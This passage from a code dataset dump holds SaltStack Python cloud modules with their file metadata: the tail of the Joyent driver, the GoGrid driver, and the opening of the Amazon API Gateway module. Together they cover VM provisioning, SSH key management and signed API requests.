GET,POST,or DELETE\n :location: data center to execute the command on\n :return: true if successful\n '''\n caller = inspect.stack()[1][3]\n\n if call != 'action':\n raise SaltCloudSystemExit(\n 'This action must be called with -a or --action.'\n )\n\n if data:\n data = json.dumps(data)\n\n ret = []\n try:\n\n ret = query(command=command, data=data, method=method,\n location=location)\n log.info('Success {0} for node {1}'.format(caller, name))\n except Exception as exc:\n if 'InvalidState' in str(exc):\n ret = [200, {}]\n else:\n log.error(\n 'Failed to invoke {0} node {1}: {2}'.format(caller, name, exc),\n # Show the traceback if the debug logging level is enabled\n exc_info_on_loglevel=logging.DEBUG\n )\n ret = [100, {}]\n\n return ret\n\n\ndef ssh_interface(vm_):\n '''\n Return the ssh_interface type to connect to. Either 'public_ips' (default)\n or 'private_ips'.\n '''\n return config.get_cloud_config_value(\n 'ssh_interface', vm_, __opts__, default='public_ips',\n search_global=False\n )\n\n\ndef get_location(vm_=None):\n '''\n Return the joyent data center to use, in this order:\n - CLI parameter\n - VM parameter\n - Cloud profile setting\n '''\n return __opts__.get(\n 'location',\n config.get_cloud_config_value(\n 'location',\n vm_ or get_configured_provider(),\n __opts__,\n default=DEFAULT_LOCATION,\n search_global=False\n )\n )\n\n\ndef avail_locations(call=None):\n '''\n List all available locations\n '''\n if call == 'action':\n raise SaltCloudSystemExit(\n 'The avail_locations function must be called with '\n '-f or --function, or with the --list-locations option'\n )\n\n ret = {}\n for key in JOYENT_LOCATIONS:\n ret[key] = {\n 'name': key,\n 'region': JOYENT_LOCATIONS[key]\n }\n\n # this can be enabled when the bug in the joyent get data centers call is\n # corrected, currently only the European dc (new api) returns the correct\n # values\n # ret = {}\n # rcode, datacenters = query(\n # command='my/datacenters', location=DEFAULT_LOCATION, method='GET'\n # )\n # if rcode in VALID_RESPONSE_CODES and isinstance(datacenters, dict):\n # for key in datacenters:\n # ret[key] = {\n # 'name': key,\n # 'url': datacenters[key]\n # }\n return ret\n\n\ndef has_method(obj, method_name):\n '''\n Find if the provided object has a specific method\n '''\n if method_name in dir(obj):\n return True\n\n log.error(\n 'Method \\'{0}\\' not yet supported!'.format(\n method_name\n )\n )\n return False\n\n\ndef key_list(items=None):\n '''\n convert list to dictionary using the key as the identifier\n :param items: array to iterate over\n :return: dictionary\n '''\n if items is None:\n items = []\n\n ret = {}\n if items and isinstance(items, list):\n for item in items:\n if 'name' in item:\n # added for consistency with old code\n if 'id' not in item:\n item['id'] = item['name']\n ret[item['name']] = item\n return ret\n\n\ndef get_node(name):\n '''\n gets the node from the full node list by name\n :param name: name of the vm\n :return: node object\n '''\n nodes = list_nodes()\n if name in nodes:\n return nodes[name]\n return None\n\n\ndef show_instance(name, call=None):\n '''\n get details about a machine\n :param name: name given to the machine\n :param call: call value in this case is 'action'\n :return: machine information\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -a show_instance vm_name\n '''\n node = get_node(name)\n ret = query(command='my/machines/{0}'.format(node['id']),\n location=node['location'], method='GET')\n\n return ret\n\n\ndef joyent_node_state(id_):\n '''\n Convert joyent returned state to state common to other data center return\n values for consistency\n\n :param id_: joyent state value\n :return: state value\n '''\n states = {'running': 0,\n 'stopped': 2,\n 'stopping': 2,\n 'provisioning': 3,\n 'deleted': 2,\n 'unknown': 4}\n\n if id_ not in states:\n id_ = 'unknown'\n\n return node_state(states[id_])\n\n\ndef reformat_node(item=None, full=False):\n '''\n Reformat the returned data from joyent, determine public/private IPs and\n strip out fields if necessary to provide either full or brief content.\n\n :param item: node dictionary\n :param full: full or brief output\n :return: dict\n '''\n desired_keys = [\n 'id', 'name', 'state', 'public_ips', 'private_ips', 'size', 'image',\n 'location'\n ]\n item['private_ips'] = []\n item['public_ips'] = []\n if 'ips' in item:\n for ip in item['ips']:\n if is_public_ip(ip):\n item['public_ips'].append(ip)\n else:\n item['private_ips'].append(ip)\n\n # add any undefined desired keys\n for key in desired_keys:\n if key not in item:\n item[key] = None\n\n # remove all the extra key value pairs to provide a brief listing\n to_del = []\n if not full:\n for key in six.iterkeys(item): # iterate over a copy of the keys\n if key not in desired_keys:\n to_del.append(key)\n\n for key in to_del:\n del item[key]\n\n if 'state' in item:\n item['state'] = joyent_node_state(item['state'])\n\n return item\n\n\ndef list_nodes(full=False, call=None):\n '''\n list of nodes, keeping only a brief listing\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -Q\n '''\n if call == 'action':\n raise SaltCloudSystemExit(\n 'The list_nodes function must be called with -f or --function.'\n )\n\n ret = {}\n if POLL_ALL_LOCATIONS:\n for location in JOYENT_LOCATIONS:\n result = query(command='my/machines', location=location,\n method='GET')\n nodes = result[1]\n for node in nodes:\n if 'name' in node:\n node['location'] = location\n ret[node['name']] = reformat_node(item=node, full=full)\n\n else:\n result = query(command='my/machines', location=DEFAULT_LOCATION,\n method='GET')\n nodes = result[1]\n for node in nodes:\n if 'name' in node:\n node['location'] = DEFAULT_LOCATION\n ret[node['name']] = reformat_node(item=node, full=full)\n return ret\n\n\ndef list_nodes_full(call=None):\n '''\n list of nodes, maintaining all content provided from joyent listings\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -F\n '''\n if call == 'action':\n raise SaltCloudSystemExit(\n 'The list_nodes_full function must be called with -f or --function.'\n )\n\n return list_nodes(full=True)\n\n\ndef list_nodes_select(call=None):\n '''\n Return a list of the VMs that are on the provider, with select fields\n '''\n return salt.utils.cloud.list_nodes_select(\n list_nodes_full('function'), __opts__['query.selection'], call,\n )\n\n\ndef _get_proto():\n '''\n Checks configuration to see whether the user has SSL turned on. Default is:\n\n .. code-block:: yaml\n\n use_ssl: True\n '''\n use_ssl = config.get_cloud_config_value(\n 'use_ssl',\n get_configured_provider(),\n __opts__,\n search_global=False,\n default=True\n )\n if use_ssl is True:\n return 'https'\n return 'http'\n\n\ndef avail_images(call=None):\n '''\n Get list of available images\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud --list-images\n\n Can use a custom URL for images. Default is:\n\n .. code-block:: yaml\n\n image_url: images.joyent.com/image\n '''\n if call == 'action':\n raise SaltCloudSystemExit(\n 'The avail_images function must be called with '\n '-f or --function, or with the --list-images option'\n )\n\n user = config.get_cloud_config_value(\n 'user', get_configured_provider(), __opts__, search_global=False\n )\n\n img_url = config.get_cloud_config_value(\n 'image_url',\n get_configured_provider(),\n __opts__,\n search_global=False,\n default='{0}{1}/{2}/images'.format(DEFAULT_LOCATION, JOYENT_API_HOST_SUFFIX, user)\n )\n\n if not img_url.startswith('http://') and not img_url.startswith('https://'):\n img_url = '{0}://{1}'.format(_get_proto(), img_url)\n\n rcode, data = query(command='my/images', method='GET')\n log.debug(data)\n\n ret = {}\n for image in data:\n ret[image['name']] = image\n return ret\n\n\ndef avail_sizes(call=None):\n '''\n get list of available packages\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud --list-sizes\n '''\n if call == 'action':\n raise SaltCloudSystemExit(\n 'The avail_sizes function must be called with '\n '-f or --function, or with the --list-sizes option'\n )\n\n rcode, items = query(command='/my/packages')\n if rcode not in VALID_RESPONSE_CODES:\n return {}\n return key_list(items=items)\n\n\ndef list_keys(kwargs=None, call=None):\n '''\n List the keys available\n '''\n if call != 'function':\n log.error(\n 'The list_keys function must be called with -f or --function.'\n )\n return False\n\n if not kwargs:\n kwargs = {}\n\n ret = {}\n rcode, data = query(command='my/keys', method='GET')\n for pair in data:\n ret[pair['name']] = pair['key']\n return {'keys': ret}\n\n\ndef show_key(kwargs=None, call=None):\n '''\n List the keys available\n '''\n if call != 'function':\n log.error(\n 'The list_keys function must be called with -f or --function.'\n )\n return False\n\n if not kwargs:\n kwargs = {}\n\n if 'keyname' not in kwargs:\n log.error('A keyname is required.')\n return False\n\n rcode, data = query(\n command='my/keys/{0}'.format(kwargs['keyname']),\n method='GET',\n )\n return {'keys': {data['name']: data['key']}}\n\n\ndef import_key(kwargs=None, call=None):\n '''\n List the keys available\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -f import_key joyent keyname=mykey keyfile=/tmp/mykey.pub\n '''\n if call != 'function':\n log.error(\n 'The import_key function must be called with -f or --function.'\n )\n return False\n\n if not kwargs:\n kwargs = {}\n\n if 'keyname' not in kwargs:\n log.error('A keyname is required.')\n return False\n\n if 'keyfile' not in kwargs:\n log.error('The location of the SSH keyfile is required.')\n return False\n\n if not os.path.isfile(kwargs['keyfile']):\n log.error('The specified keyfile ({0}) does not exist.'.format(\n kwargs['keyfile']\n ))\n return False\n\n with salt.utils.fopen(kwargs['keyfile'], 'r') as fp_:\n kwargs['key'] = fp_.read()\n\n send_data = {'name': kwargs['keyname'], 'key': kwargs['key']}\n kwargs['data'] = json.dumps(send_data)\n\n rcode, data = query(\n command='my/keys',\n method='POST',\n data=kwargs['data'],\n )\n log.debug(pprint.pformat(data))\n return {'keys': {data['name']: data['key']}}\n\n\ndef delete_key(kwargs=None, call=None):\n '''\n List the keys available\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -f delete_key joyent keyname=mykey\n '''\n if call != 'function':\n log.error(\n 'The delete_keys function must be called with -f or --function.'\n )\n return False\n\n if not kwargs:\n kwargs = {}\n\n if 'keyname' not in kwargs:\n log.error('A keyname is required.')\n return False\n\n rcode, data = query(\n command='my/keys/{0}'.format(kwargs['keyname']),\n method='DELETE',\n )\n return data\n\n\ndef get_location_path(location=DEFAULT_LOCATION, api_host_suffix=JOYENT_API_HOST_SUFFIX):\n '''\n create url from location variable\n :param location: joyent data center location\n :return: url\n '''\n return '{0}://{1}{2}'.format(_get_proto(), location, api_host_suffix)\n\n\ndef query(action=None,\n command=None,\n args=None,\n method='GET',\n location=None,\n data=None):\n '''\n Make a web call to Joyent\n '''\n user = config.get_cloud_config_value(\n 'user', get_configured_provider(), __opts__, search_global=False\n )\n\n password = config.get_cloud_config_value(\n 'password', get_configured_provider(), __opts__,\n search_global=False\n )\n\n verify_ssl = config.get_cloud_config_value(\n 'verify_ssl', get_configured_provider(), __opts__,\n search_global=False, default=True\n )\n\n ssh_keyfile = config.get_cloud_config_value(\n 'private_key', get_configured_provider(), __opts__,\n search_global=False, default=True\n )\n\n ssh_keyname = config.get_cloud_config_value(\n 'keyname', get_configured_provider(), __opts__,\n search_global=False, default=True\n )\n\n if not location:\n location = get_location()\n\n api_host_suffix = config.get_cloud_config_value(\n 'api_host_suffix', get_configured_provider(), __opts__,\n search_global=False, default=JOYENT_API_HOST_SUFFIX\n )\n\n path = get_location_path(location=location, api_host_suffix=api_host_suffix)\n\n if action:\n path += action\n\n if command:\n path += '/{0}'.format(command)\n\n log.debug('User: \\'{0}\\' on PATH: {1}'.format(user, path))\n\n timenow = datetime.datetime.utcnow()\n timestamp = timenow.strftime('%a, %d %b %Y %H:%M:%S %Z').strip()\n with salt.utils.fopen(ssh_keyfile, 'r') as kh_:\n rsa_key = RSA.importKey(kh_)\n rsa_ = PKCS1_v1_5.new(rsa_key)\n hash_ = SHA256.new()\n hash_.update(timestamp)\n signed = base64.b64encode(rsa_.sign(hash_))\n keyid = '/{0}/keys/{1}'.format(user, ssh_keyname)\n\n headers = {\n 'Content-Type': 'application/json',\n 'Accept': 'application/json',\n 'X-Api-Version': JOYENT_API_VERSION,\n 'Date': timestamp,\n 'Authorization': 'Signature keyId=\"{0}\",algorithm=\"rsa-sha256\" {1}'.format(\n keyid,\n signed\n ),\n }\n\n if not isinstance(args, dict):\n args = {}\n\n # post form data\n if not data:\n data = json.dumps({})\n\n return_content = None\n result = salt.utils.http.query(\n path,\n method,\n params=args,\n header_dict=headers,\n data=data,\n decode=False,\n text=True,\n status=True,\n headers=True,\n verify_ssl=verify_ssl,\n opts=__opts__,\n )\n log.debug(\n 'Joyent Response Status Code: {0}'.format(\n result['status']\n )\n )\n if 'Content-Length' in result['headers']:\n content = result['text']\n return_content = yaml.safe_load(content)\n\n return [result['status'], return_content]\n", "id": "8752378", "language": "Python", "matching_score": 7.227849960327148, "max_stars_count": 0, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/cloud/clouds/joyent.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nGoGrid Cloud Module\n====================\n\nThe GoGrid cloud module. This module interfaces with the gogrid public cloud\nservice. To use Salt Cloud with GoGrid log into the GoGrid web interface and\ncreate an api key. Do this by clicking on \"My Account\" and then going to the\nAPI Keys tab.\n\nSet up the cloud configuration at ``/etc/salt/cloud.providers`` or\n``/etc/salt/cloud.providers.d/gogrid.conf``:\n\n.. code-block:: yaml\n\n my-gogrid-config:\n # The generated api key to use\n apikey: asdff7896asdh789\n # The apikey's shared secret\n sharedsecret: saltybacon\n driver: gogrid\n\n.. note::\n\n A Note about using Map files with GoGrid:\n\n Due to limitations in the GoGrid API, instances cannot be provisioned in parallel\n with the GoGrid driver. Map files will work with GoGrid, but the ``-P``\n argument should not be used on maps referencing GoGrid instances.\n\n.. note::\n\n A Note about using Map files with GoGrid:\n\n Due to limitations in the GoGrid API, instances cannot be provisioned in parallel\n with the GoGrid driver. Map files will work with GoGrid, but the ``-P``\n argument should not be used on maps referencing GoGrid instances.\n\n'''\nfrom __future__ import absolute_import\n\n# Import python libs\nimport pprint\nimport logging\nimport time\nimport hashlib\n\n# Import salt cloud libs\nimport salt.config as config\nimport salt.utils.cloud\nfrom salt.exceptions import SaltCloudSystemExit, SaltCloudException\n\n# Get logging started\nlog = logging.getLogger(__name__)\n\n__virtualname__ = 'gogrid'\n\n\n# Only load in this module if the GoGrid configurations are in place\ndef __virtual__():\n '''\n Check for GoGrid configs\n '''\n if get_configured_provider() is False:\n return False\n\n return __virtualname__\n\n\ndef get_configured_provider():\n '''\n Return the first configured instance.\n '''\n return config.is_provider_configured(\n __opts__,\n __active_provider_name__ or __virtualname__,\n ('apikey', 'sharedsecret')\n )\n\n\ndef create(vm_):\n '''\n Create a single VM from a data dict\n '''\n try:\n # Check for required profile parameters before sending any API calls.\n if vm_['profile'] and config.is_profile_configured(__opts__,\n __active_provider_name__ or 'gogrid',\n vm_['profile'],\n vm_=vm_) is False:\n return False\n except AttributeError:\n pass\n\n # Since using \"provider: <provider-engine>\" is deprecated, alias provider\n # to use driver: \"driver: <provider-engine>\"\n if 'provider' in vm_:\n vm_['driver'] = vm_.pop('provider')\n\n __utils__['cloud.fire_event'](\n 'event',\n 'starting create',\n 'salt/cloud/{0}/creating'.format(vm_['name']),\n args={\n 'name': vm_['name'],\n 'profile': vm_['profile'],\n 'provider': vm_['driver'],\n },\n sock_dir=__opts__['sock_dir'],\n transport=__opts__['transport']\n )\n\n if len(vm_['name']) > 20:\n raise SaltCloudException('VM names must not be longer than 20 characters')\n\n log.info('Creating Cloud VM {0}'.format(vm_['name']))\n image_id = avail_images()[vm_['image']]['id']\n if 'assign_public_ip' in vm_:\n host_ip = vm_['assign_public_ip']\n else:\n public_ips = list_public_ips()\n if len(public_ips.keys()) < 1:\n raise SaltCloudException('No more IPs available')\n host_ip = public_ips.keys()[0]\n\n create_kwargs = {\n 'name': vm_['name'],\n 'image': image_id,\n 'ram': vm_['size'],\n 'ip': host_ip,\n }\n\n __utils__['cloud.fire_event'](\n 'event',\n 'requesting instance',\n 'salt/cloud/{0}/requesting'.format(vm_['name']),\n args={'kwargs': create_kwargs},\n sock_dir=__opts__['sock_dir'],\n transport=__opts__['transport']\n )\n\n try:\n data = _query('grid', 'server/add', args=create_kwargs)\n except Exception:\n log.error(\n 'Error creating {0} on GOGRID\\n\\n'\n 'The following exception was thrown when trying to '\n 'run the initial deployment:\\n'.format(\n vm_['name']\n ),\n # Show the traceback if the debug logging level is enabled\n exc_info_on_loglevel=logging.DEBUG\n )\n return False\n\n ssh_username = config.get_cloud_config_value(\n 'ssh_username', vm_, __opts__, default='root'\n )\n\n def wait_for_apipass():\n '''\n Wait for the password to become available, via the API\n '''\n try:\n passwords = list_passwords()\n return passwords[vm_['name']][0]['password']\n except KeyError:\n pass\n time.sleep(5)\n return False\n\n vm_['password'] = salt.utils.cloud.wait_for_fun(\n wait_for_apipass,\n timeout=config.get_cloud_config_value(\n 'wait_for_fun_timeout', vm_, __opts__, default=15 * 60),\n )\n\n vm_['ssh_host'] = host_ip\n ret = __utils__['cloud.bootstrap'](vm_, __opts__)\n ret.update(data)\n\n log.info('Created Cloud VM \\'{0[name]}\\''.format(vm_))\n log.debug(\n '\\'{0[name]}\\' VM creation details:\\n{1}'.format(\n vm_, pprint.pformat(data)\n )\n )\n\n __utils__['cloud.fire_event'](\n 'event',\n 'created instance',\n 'salt/cloud/{0}/created'.format(vm_['name']),\n args={\n 'name': vm_['name'],\n 'profile': vm_['profile'],\n 'provider': vm_['driver'],\n },\n sock_dir=__opts__['sock_dir'],\n transport=__opts__['transport']\n )\n\n return ret\n\n\ndef list_nodes(full=False, call=None):\n '''\n List of nodes, keeping only a brief listing\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -Q\n '''\n if call == 'action':\n raise SaltCloudSystemExit(\n 'The list_nodes function must be called with -f or --function.'\n )\n\n ret = {}\n nodes = list_nodes_full('function')\n if full:\n return nodes\n\n for node in nodes:\n ret[node] = {}\n for item in ('id', 'image', 'size', 'public_ips', 'private_ips', 'state'):\n ret[node][item] = nodes[node][item]\n\n return ret\n\n\ndef list_nodes_full(call=None):\n '''\n List nodes, with all available information\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -F\n '''\n response = _query('grid', 'server/list')\n\n ret = {}\n for item in response['list']:\n name = item['name']\n ret[name] = item\n\n ret[name]['image_info'] = item['image']\n ret[name]['image'] = item['image']['friendlyName']\n ret[name]['size'] = item['ram']['name']\n ret[name]['public_ips'] = [item['ip']['ip']]\n ret[name]['private_ips'] = []\n ret[name]['state_info'] = item['state']\n if 'active' in item['state']['description']:\n ret[name]['state'] = 'RUNNING'\n\n return ret\n\n\ndef list_nodes_select(call=None):\n '''\n Return a list of the VMs that are on the provider, with select fields\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -S\n '''\n return salt.utils.cloud.list_nodes_select(\n list_nodes_full('function'), __opts__['query.selection'], call,\n )\n\n\ndef avail_locations():\n '''\n Available locations\n '''\n response = list_common_lookups(kwargs={'lookup': 'ip.datacenter'})\n\n ret = {}\n for item in response['list']:\n name = item['name']\n ret[name] = item\n\n return ret\n\n\ndef avail_sizes():\n '''\n Available sizes\n '''\n response = list_common_lookups(kwargs={'lookup': 'server.ram'})\n\n ret = {}\n for item in response['list']:\n name = item['name']\n ret[name] = item\n\n return ret\n\n\ndef avail_images():\n '''\n Available images\n '''\n response = _query('grid', 'image/list')\n\n ret = {}\n for item in response['list']:\n name = item['friendlyName']\n ret[name] = item\n\n return ret\n\n\ndef list_passwords(kwargs=None, call=None):\n '''\n List all password on the account\n\n .. versionadded:: 2015.8.0\n '''\n response = _query('support', 'password/list')\n\n ret = {}\n for item in response['list']:\n server = item['server']['name']\n if server not in ret:\n ret[server] = []\n ret[server].append(item)\n\n return ret\n\n\ndef list_public_ips(kwargs=None, call=None):\n '''\n List all available public IPs.\n\n CLI Example:\n .. code-block:: bash\n\n salt-cloud -f list_public_ips <provider>\n\n To list unavailable (assigned) IPs, use:\n\n CLI Example:\n .. code-block:: bash\n\n salt-cloud -f list_public_ips <provider> state=assigned\n\n .. versionadded:: 2015.8.0\n '''\n if kwargs is None:\n kwargs = {}\n\n args = {}\n if 'state' in kwargs:\n if kwargs['state'] == 'assigned':\n args['ip.state'] = 'Assigned'\n else:\n args['ip.state'] = 'Unassigned'\n else:\n args['ip.state'] = 'Unassigned'\n\n args['ip.type'] = 'Public'\n\n response = _query('grid', 'ip/list', args=args)\n\n ret = {}\n for item in response['list']:\n name = item['ip']\n ret[name] = item\n\n return ret\n\n\ndef list_common_lookups(kwargs=None, call=None):\n '''\n List common lookups for a particular type of item\n\n .. versionadded:: 2015.8.0\n '''\n if kwargs is None:\n kwargs = {}\n\n args = {}\n if 'lookup' in kwargs:\n args['lookup'] = kwargs['lookup']\n\n response = _query('common', 'lookup/list', args=args)\n\n return response\n\n\ndef destroy(name, call=None):\n '''\n Destroy a machine by name\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -d vm_name\n '''\n if call == 'function':\n raise SaltCloudSystemExit(\n 'The destroy action must be called with -d, --destroy, '\n '-a or --action.'\n )\n\n __utils__['cloud.fire_event'](\n 'event',\n 'destroying instance',\n 'salt/cloud/{0}/destroying'.format(name),\n args={'name': name},\n sock_dir=__opts__['sock_dir'],\n transport=__opts__['transport']\n )\n\n response = _query('grid', 'server/delete', args={'name': name})\n\n __utils__['cloud.fire_event'](\n 'event',\n 'destroyed instance',\n 'salt/cloud/{0}/destroyed'.format(name),\n args={'name': name},\n sock_dir=__opts__['sock_dir'],\n transport=__opts__['transport']\n )\n\n if __opts__.get('update_cachedir', False) is True:\n __utils__['cloud.delete_minion_cachedir'](name, __active_provider_name__.split(':')[0], __opts__)\n\n return response\n\n\ndef reboot(name, call=None):\n '''\n Reboot a machine by name\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -a reboot vm_name\n\n .. versionadded:: 2015.8.0\n '''\n return _query('grid', 'server/power', args={'name': name, 'power': 'restart'})\n\n\ndef stop(name, call=None):\n '''\n Stop a machine by name\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -a stop vm_name\n\n .. versionadded:: 2015.8.0\n '''\n return _query('grid', 'server/power', args={'name': name, 'power': 'stop'})\n\n\ndef start(name, call=None):\n '''\n Start a machine by name\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -a start vm_name\n\n .. versionadded:: 2015.8.0\n '''\n return _query('grid', 'server/power', args={'name': name, 'power': 'start'})\n\n\ndef show_instance(name, call=None):\n '''\n Start a machine by name\n\n CLI Example:\n\n .. code-block:: bash\n\n salt-cloud -a show_instance vm_name\n\n .. versionadded:: 2015.8.0\n '''\n response = _query('grid', 'server/get', args={'name': name})\n ret = {}\n for item in response['list']:\n name = item['name']\n ret[name] = item\n\n ret[name]['image_info'] = item['image']\n ret[name]['image'] = item['image']['friendlyName']\n ret[name]['size'] = item['ram']['name']\n ret[name]['public_ips'] = [item['ip']['ip']]\n ret[name]['private_ips'] = []\n ret[name]['state_info'] = item['state']\n if 'active' in item['state']['description']:\n ret[name]['state'] = 'RUNNING'\n return ret\n\n\ndef _query(action=None,\n command=None,\n args=None,\n method='GET',\n header_dict=None,\n data=None):\n '''\n Make a web call to GoGrid\n\n .. versionadded:: 2015.8.0\n '''\n vm_ = get_configured_provider()\n apikey = config.get_cloud_config_value(\n 'apikey', vm_, __opts__, search_global=False\n )\n sharedsecret = config.get_cloud_config_value(\n 'sharedsecret', vm_, __opts__, search_global=False\n )\n\n path = 'https://api.gogrid.com/api/'\n\n if action:\n path += action\n\n if command:\n path += '/{0}'.format(command)\n\n log.debug('GoGrid URL: {0}'.format(path))\n\n if not isinstance(args, dict):\n args = {}\n\n epoch = str(int(time.time()))\n hashtext = ''.join((apikey, sharedsecret, epoch))\n args['sig'] = hashlib.md5(hashtext).hexdigest()\n args['format'] = 'json'\n args['v'] = '1.0'\n args['api_key'] = apikey\n\n if header_dict is None:\n header_dict = {}\n\n if method != 'POST':\n header_dict['Accept'] = 'application/json'\n\n decode = True\n if method == 'DELETE':\n decode = False\n\n return_content = None\n result = salt.utils.http.query(\n path,\n method,\n params=args,\n data=data,\n header_dict=header_dict,\n decode=decode,\n decode_type='json',\n text=True,\n status=True,\n opts=__opts__,\n )\n log.debug(\n 'GoGrid Response Status Code: {0}'.format(\n result['status']\n )\n )\n\n return result['dict']\n", "id": "10035963", "language": "Python", "matching_score": 1.822031855583191, "max_stars_count": 2, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nConnection module for Amazon APIGateway\n\n.. versionadded::\n\n:configuration: This module accepts explicit Lambda credentials but can also\n utilize IAM roles assigned to the instance trough Instance Profiles.\n Dynamic credentials are then automatically obtained from AWS API and no\n further configuration is necessary. More Information available at:\n\n .. code-block:: text\n\n http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html\n\n If IAM roles are not used you need to specify them either in a pillar or\n in the minion's config file:\n\n .. code-block:: yaml\n\n apigateway.keyid: <KEY>\n apigateway.key: <KEY>\n\n A region may also be specified in the configuration:\n\n .. code-block:: yaml\n\n apigateway.region: us-west-2\n\n If a region is not specified, the default is us-east-1.\n\n It's also possible to specify key, keyid and region via a profile, either\n as a passed in dict, or as a string to pull from pillars or minion config:\n\n .. code-block:: yaml\n\n myprofile:\n keyid: <KEY>\n key: <KEY>\n region: us-west-2\n\n.. versionchanged:: 2015.8.0\n All methods now return a dictionary. Create and delete methods return:\n\n .. code-block:: yaml\n\n created: true\n\n or\n\n .. code-block:: yaml\n\n created: false\n error:\n message: error message\n\n Request methods (e.g., `describe_apigateway`) return:\n\n .. code-block:: yaml\n\n apigateway:\n - {...}\n - {...}\n\n or\n\n .. code-block:: yaml\n\n error:\n message: error message\n\n:depends: boto3\n\n'''\n# keep lint from choking on _get_conn and _cache_id\n# pylint: disable=E0602\n\n# Import Python libs\nfrom __future__ import absolute_import\nimport logging\nimport json\nimport datetime\nfrom distutils.version import LooseVersion as _LooseVersion # pylint: disable=import-error,no-name-in-module\n\n# Import Salt libs\nimport salt.ext.six as six\nimport salt.utils.boto3\nimport salt.utils.compat\n\nlog = logging.getLogger(__name__)\n\n# Import third party libs\n\n# pylint: disable=import-error\ntry:\n # pylint: disable=unused-import\n import boto\n import boto3\n # pylint: enable=unused-import\n from botocore.exceptions import ClientError\n logging.getLogger('boto').setLevel(logging.CRITICAL)\n logging.getLogger('boto3').setLevel(logging.CRITICAL)\n HAS_BOTO = True\nexcept ImportError:\n HAS_BOTO = False\n# pylint: enable=import-error\n\n\ndef __virtual__():\n '''\n Only load if boto libraries exist and if boto libraries are greater than\n a given version.\n '''\n required_boto_version = '2.8.0'\n required_boto3_version = '1.2.1'\n # the boto_apigateway execution module relies on the connect_to_region() method\n # which was added in boto 2.8.0\n # https://github.com/boto/boto/commit/33ac26b416fbb48a60602542b4ce15dcc7029f12\n if not HAS_BOTO:\n return (False, 'The boto_apigateway module could not be loaded: '\n 'boto libraries not found')\n elif _LooseVersion(boto.__version__) < _LooseVersion(required_boto_version):\n return (False, 'The boto_apigateway module could not be loaded: '\n 'boto version {0} or later must be installed.'.format(required_boto_version))\n elif _LooseVersion(boto3.__version__) < _LooseVersion(required_boto3_version):\n return (False, 'The boto_apigateway module could not be loaded: '\n 'boto3 version {0} or later must be installed.'.format(required_boto3_version))\n else:\n return True\n\n\ndef __init__(opts):\n salt.utils.compat.pack_dunder(__name__)\n if HAS_BOTO:\n __utils__['boto3.assign_funcs'](__name__, 'apigateway')\n\n\ndef _convert_datetime_str(response):\n '''\n modify any key-value pair where value is a datetime object to a string.\n '''\n if response:\n return dict([(k, '{0}'.format(v)) if isinstance(v, datetime.date) else (k, v) for k, v in six.iteritems(response)])\n return None\n\n\ndef _filter_apis(name, apis):\n '''\n Return list of api items matching the given name.\n '''\n return [api for api in apis if api['name'] == name]\n\n\ndef _filter_apis_desc(desc, apis):\n '''\n Return list of api items matching the given description.\n '''\n return [api for api in apis if api['description'] == desc]\n\n\ndef _multi_call(function, contentkey, *args, **kwargs):\n '''\n Retrieve full list of values for the contentkey from a boto3 ApiGateway\n client function that may be paged via 'position'\n '''\n ret = function(*args, **kwargs)\n position = ret.get('position')\n\n while position:\n more = function(*args, position=position, **kwargs)\n ret[contentkey].extend(more[contentkey])\n position = more.get('position')\n return ret.get(contentkey)\n\n\ndef _find_apis_by_name(name, description=None,\n region=None, key=None, keyid=None, profile=None):\n\n '''\n get and return list of matching rest api information by the given name and desc.\n If rest api name evaluates to False, return all apis w/o filtering the name.\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n apis = _multi_call(conn.get_rest_apis, 'items')\n if name:\n apis = _filter_apis(name, apis)\n if description is not None:\n apis = _filter_apis_desc(description, apis)\n return {'restapi': [_convert_datetime_str(api) for api in apis]}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_apis(name=None, description=None, region=None, key=None, keyid=None, profile=None):\n\n '''\n Returns all rest apis in the defined region. If optional parameter name is included,\n returns all rest apis matching the name in the defined region.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_apis\n\n salt myminion boto_apigateway.describe_apis name='api name'\n\n salt myminion boto_apigateway.describe_apis name='api name' description='desc str'\n\n '''\n\n if name:\n return _find_apis_by_name(name, description=description,\n region=region, key=key, keyid=keyid, profile=profile)\n else:\n return _find_apis_by_name('', description=description,\n region=region, key=key, keyid=keyid, profile=profile)\n\n\ndef api_exists(name, description=None, region=None, key=None, keyid=None, profile=None):\n '''\n Check to see if the given Rest API Name and optionlly description exists.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.exists myapi_name\n\n '''\n apis = _find_apis_by_name(name, description=description,\n region=region, key=key, keyid=keyid, profile=profile)\n return {'exists': bool(apis.get('restapi'))}\n\n\ndef create_api(name, description, cloneFrom=None,\n region=None, key=None, keyid=None, profile=None):\n '''\n Create a new REST API Service with the given name\n\n Returns {created: True} if the rest api was created and returns\n {created: False} if the rest api was not created.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.create_api myapi_name api_description\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n if cloneFrom:\n api = conn.create_rest_api(name=name, description=description, cloneFrom=cloneFrom)\n else:\n api = conn.create_rest_api(name=name, description=description)\n api = _convert_datetime_str(api)\n return {'created': True, 'restapi': api} if api else {'created': False}\n except ClientError as 